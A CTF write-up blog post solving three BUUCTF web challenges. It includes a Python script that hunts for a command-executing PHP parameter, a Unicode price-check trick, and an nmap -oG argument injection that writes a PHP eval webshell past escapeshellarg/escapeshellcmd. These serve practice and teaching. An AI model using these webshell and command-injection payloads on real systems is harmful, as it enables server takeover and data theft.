[BT]BUUCTF刷题第17天(4.15)

news2025/2/7 3:47:51

第17天(共3题)

Web

[强网杯 2019]高明的黑客

在这里插入图片描述
.tar.gz 是 Linux 系统下的压缩包,访问即可下载

打开后有3000多个php文件,通过题解得知需要写Python脚本找出合适的GetShell文件(因为每个文件里都会通过system函数执行命令,但不是每个函数都带有参数)
在这里插入图片描述

在这里插入图片描述

因为拿到了所有PHP文件,所以我们可以在本地搭建环境运行脚本(我的本地环境搭建域名是localtest

在这里插入图片描述

接下来就是使用脚本(来自大佬题解)

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  	#这儿设置最大的线程数
filePath = r"D:/CTF/PHP_Study/phpstudy_pro/WWW/src"         #自己替换为文件所在目录(我的是
															#D:/CTF/PHP_Study/phpstudy_pro/WWW/src)
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://localtest/'+file                      #自己替换为本地url
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

原理是遍历目录下所有文件,然后定义了一个函数逐个打开文件,再正则表达式匹配获取所有的 GET 参数POST 参数,再访问 url 传入参数验证是否可用。

判断的方法是令传入的参数在访问页面显示一个内容echo 'XXXXXX',然后再判断页面有没有这个内容,有则传入的参数执行成功,没有则无效的。

在这里插入图片描述

构造URL:http://1955d020-deb3-447d-b433-7bc05ed1cbc8.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag

得到flag

在这里插入图片描述

[ASIS 2019]Unicorn shop

在这里插入图片描述

这是一个购买独角兽的商店,尝试购买第一个独角兽

在这里插入图片描述

发现除了购买第一个,购买第二三个也会显示以下界面

在这里插入图片描述

但购买第四个显示的是:

在这里插入图片描述

意思是金额只能输入一个字符,但是价格1337,是四个字符,通过题目名字里的Unicode和题解得知需要找到一个Unicode编码的字符,其值大于1337

在 这个网站 搜索thousand,找到一个比1337大的字符

在这里插入图片描述

复制提交即可

在这里插入图片描述

在这里插入图片描述

[网鼎杯 2020 朱雀组]Nmap

在这里插入图片描述

这是一道有关Namp的题目

扫描127.0.0.1返回以下内容

在这里插入图片描述

Nmap的输出命令:
主要只有四种:

-oN < filespec > (标准输出)
-oX < filespec> (XML输出)
-oS < filespec> (ScRipT KIdd|3 oUTpuT)
-oG < filespec> (Grep输出)

其中以 -oN-oG 为主

在本地Linux中使用Namp将一句话木马写入文件需要对一句话木马用引号括起:

namp '<?php @eval($_POST[hack]);?>' -oG shell.php

或者进行转义:

namp \<\?php @eval\(\$_POST\[hack\]\)\;\?\> -oG shell.php

尝试127.0.0.1 | ls,返回以下内容

在这里插入图片描述

说明极有可能网站使用了escapeshellcmd()函数对字符串进行了转义

接下来说明escapeshellarg()函数escapeshellcmd()函数的功能:

escapeshellarg()函数用于为字符串添加单引号,因此shell不会解释其中的特殊字符。如果字符串中已经有单引号了,那么该函数会先对字符串中的单引号做转义,再分别用两对单引号括起转义单引号前后的两段字符串

escapeshellcmd()函数用于对字符串中可能会欺骗shell执行任意命令的字符进行转义。此函数保证用户输入的数据安全

例如传入127.0.0.1' -v -d a=1

经过escapeshellarg()函数处理后变为:

'127.0.0.1'    \'     ' -v -d a=1'

这里为了方便看我把两段字符串分的很开

如果我们构造127.0.0.1 | <?php @eval($_POST[hack]);?> -oG shell.php

那么经过两个函数的处理就会变成:

'127.0.0.1 | \<\?php @eval\(\)\;\?\> -oG hack.php '

这是一段字符串,并且里面的特殊符号还被转义了,我们知道为了将一句话木马写入文件可以用单引号括起或者转义,但这里两者兼具反而不行,因此我们要考虑把单引号省略掉

在原基础上左右各添加一个单引号:

' <?php @eval($_POST[hack]);?> -oG shell.php '   //注意单引号和<要隔一个空格防止<被转义

但是网站限制了php字样,所以上面的例子要改为:

' <?=@eval($_POST[hack]);?> -oG hack.phtml '    //<? ?>是短标签

这里解释一下,经过两个函数的处理后就会变为:

第一个:

''   \'  ' <?= @eval($_REQUEST[1]);?> -oG test.phtml'  \'    ''

第二个:

''   \\'   ' <\?= @eval$REQUEST\[1\]\;\?\> -oG test.phtml'   \\'   ''

前面和后面的''被主机解释为空连接符,\\被解释为普通没有功能的\,紧接后面的' '也是空连接符,后半部分的' \\'对前面的字符传就没有影响了,因此一句话木马成功省略掉了单引号,能够写入文件并执行

查询:

' <?=@eval($_POST[hack]);?> -oG hack.phtml '

返回以下内容说明写入成功
在这里插入图片描述
构造POST方法拿到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1598509.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

贵阳市人民政府副市长刘岚调研珈和科技

4月9日&#xff0c;贵阳市人民政府副市长、党组成员刘岚一行到珈和科技走访调研&#xff0c;珈和科技总经理冷伟热情接待了考察团&#xff0c;就企业算力需求与合作&#xff0c;特色产业园区建设&#xff0c;科技成果转化落地等方面进行深入交流。 贵阳市教育局局长李波&#…

Vmware 虚拟机自定义IP地址 - UbuntuServer2204

Vmware 虚拟机自定义IP地址 - UbuntuServer2204 设置网段 选择喜欢的网段&#xff0c; 例如&#xff1a; 166 自定义 IP地址 打开虚拟机&#xff0c; 输入命令查看网卡名 ip addr查看网卡配置文件 ls -al /etc/netplan/编辑网卡配置文件 sudo vim /etc/netplan/00-installe…

稀疏数组思想

稀疏数组的处理方法是&#xff1a; 1)记录数组一共有几行几列&#xff0c;有多少个不同的值 2)思想&#xff1a;把具有不同值的元素的行列及值记录在一个小规模的数组中&#xff0c;从而缩小程序的规模 例如下面原数组对应稀疏数组&#xff1a;

Git-常规用法-含解决分支版本冲突解决方法

目录 前置条件 已经创建了Gitee账号 创建一个远程仓库 Git的优点 版本控制 Git 下载 Git的使用 检查Git的是否安装成功 git的常用命令 常用流程 Git 分支 分支流程 Git 远程仓库 远程仓库流程 特殊 可能遇到的问题 前置条件 已经创建了Gitee账号 创建一个远程仓…

CTK插件框架学习-事件监听(07)

CTK插件框架学习-服务工厂(06)https://mp.csdn.net/mp_blog/creation/editor/137295686 一、简介 事件监听指当事件发生变化时所产生的通信&#xff0c;是动态的&#xff0c;对于已经发生过的事件无法监听 二、事件类型 1、框架事件 监听框架状态变化&#xff0c;因为监听…

【ARFoundation自学01】搭建AR框架,检测平面点击位置克隆物体

Unity开发ARFoundation相关应用首先安装ARFoundation包 然后设置XR 1.基础AR场景框架搭建 2.一个基本的点击克隆物体到识别的平面脚本 挂在XROrigin上 脚本AppController 脚本说明书 ## 业务逻辑 AppController 脚本旨在实现一个基本的 AR 应用程序功能&#xff1a;用户通过…

【24年物联网华为杯】赛题分析与初步计划

赛事介绍 官网链接&#xff1a;2024 年全国大学生物联网设计竞赛 (sjtu.edu.cn) 含金量&#xff1a;属于A类赛事 &#xff08;注意&#xff1a;很多搜索结果的序号是按照选入时间排列的&#xff0c;与含金量无关&#xff0c;华为杯是23年选入的&#xff09; Kimi Chat: 全国…

攻防世界09cookie

9-cookie Cookie是保存在客户端的纯文本文件。比如txt文件。所谓的客户端就是我们自己的本地电脑。当我们使用自己的电脑通过浏览器进行访问网页的时候&#xff0c;服务器就会生成一个证书并返回给我的浏览器并写入我们的本地电脑。这个证书就是cookie。一般来说cookie都是服务…

数字孪生技术在设备故障检测中的应用

数字孪生技术在设备故障检测中的应用主要体现在以下几个方面&#xff0c;数字孪生技术在设备故障检测中的应用展现了其在智能制造和工业互联网领域的重要价值&#xff0c;通过实时监测、故障预测、诊断分析和预测性维护等手段&#xff0c;显著提升了设备管理的智能化水平。北京…

CAN终端电阻

目录 概述终端电阻的作用提高抗干扰能力确保快速进入隐性状态提高信号质量 为什么选120Ω 概述 CAN总线终端电阻&#xff0c;顾名思义就是加在总线末端的电阻。此电阻虽小&#xff0c;但在CAN总线通信中却有十分重要的作用。 终端电阻的作用 CAN总线终端电阻的作用有两个&…

轻松上手MYSQL:MYSQL初识(下)

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《MYSQL入门》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;坚持默默的做事。 轻松上手MYSQL&#xff1a;从零开始构建你的数据库世界 &#x1f680; &#x1f680;欢迎来到My…

office竟然可以直接PDF转Word?这个“锅”请wps来背!

WPS和Office都是非常出色的办公软件&#xff0c;它们都能够满足我们日常办公的需求。然而&#xff0c;作为一款国产办公软件&#xff0c;WPS在功能集成和操作上更加符合中国人的使用习惯&#xff0c;因此很多人选择使用WPS作为他们的办公软件&#xff0c;包括我自己。 然而&…

初识微服务:重塑软件开发的未来

引言 随着信息技术的飞速发展&#xff0c;软件系统的复杂性和规模不断攀升&#xff0c;传统的单体应用架构已经难以满足现代业务的灵活性和可扩展性需求。在这样的背景下&#xff0c;微服务架构应运而生&#xff0c;成为当前软件开发领域的一大热门话题。本文将深入探讨微服务架…

LeetCode 73.矩阵置零————2024 春招冲刺百题计划

给定一个 m x n 的矩阵&#xff0c;如果一个元素为 0 &#xff0c;则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 输入&#xff1a;matrix [[1,1,1],[1,0,1],[1,1,1]] 输出&#xff1a;[[1,0,1],[0,0,0],[1,0,1]] 示例 2&#xff1a; 输入&#xff1a;matrix […

解决EasyPoi导入Excel获取不到第一列的问题

文章目录 1. 复现错误2. 分析错误2.1 导入的代码2.2 DictExcel实体类2.2 表头和标题 3. 解决问题 1. 复现错误 使用EasyPoi导入数据时&#xff0c;Excel表格如下图&#xff1a; 但在导入时&#xff0c;出现如下错误&#xff1a; name为英文名称&#xff0c;在第一列&#xff0c…

0-1 设计高质量数据可视化大屏

5 大指南塑造高阶可视化 可视化是个友好的媒介 理解数据是成为优秀媒介的关键 业务驱动下的设计策略 图扑设计的无限可能 创新思维让可视化更具价值 可视化是个友好的媒介 我们正处于一个数据泛滥的时代&#xff0c;随处可见数据的身影&#xff0c;更知其不可忽视的重要…

金三银四面试题(二十):单例模式知多少?

设计模式也是面试中的热门考题&#xff0c;基本这个部分都是问问你知不知道XXX设计模式&#xff0c;有什么用&#xff0c;优缺点&#xff0c;然后再现场手写一个demo。很多时候是和spring一起考的&#xff0c;问问你知不知道spring框架用了哪些设计模式。今天我们来先看看单例模…

免费SSL证书安全吗?和付费的有什么区别?

SSL&#xff08;安全套接层&#xff09;证书是一种数字证书&#xff0c;用于在Web服务器和浏览器之间建立加密链接&#xff0c;以保护在线交易的安全。这种技术可以防止数据被窃取或篡改&#xff0c;从而保护用户的隐私和安全。 免费SSL证书与付费SSL证书在安全性方面存在一定…

java的Spring XML和注解解析深入理解

正文 熟悉IOC体系结构 要学习Spring源码&#xff0c;我们首先得要找准入口&#xff0c;那这个入口怎么找呢&#xff1f;我们不妨先思考一下&#xff0c;在Spring项目启动时&#xff0c;Spring做了哪些事情。这里我以最原始的xml配置方式来分析&#xff0c;那么在项目启动时&a…

论文略读:SWE-bench: Can Language Models Resolve Real-world Github Issues?

iclr 2024 oral reviewer评分 5668 现有的语言模型&#xff08;LMs&#xff09;的基准测试已经饱和&#xff0c;无法捕捉到最先进的语言模型能做什么和不能做什么的前沿。 ——>要具有挑战性的基准测试论文引入了SWE-bench 在现实软件工程环境中评估语言模型的基准测试 ​​…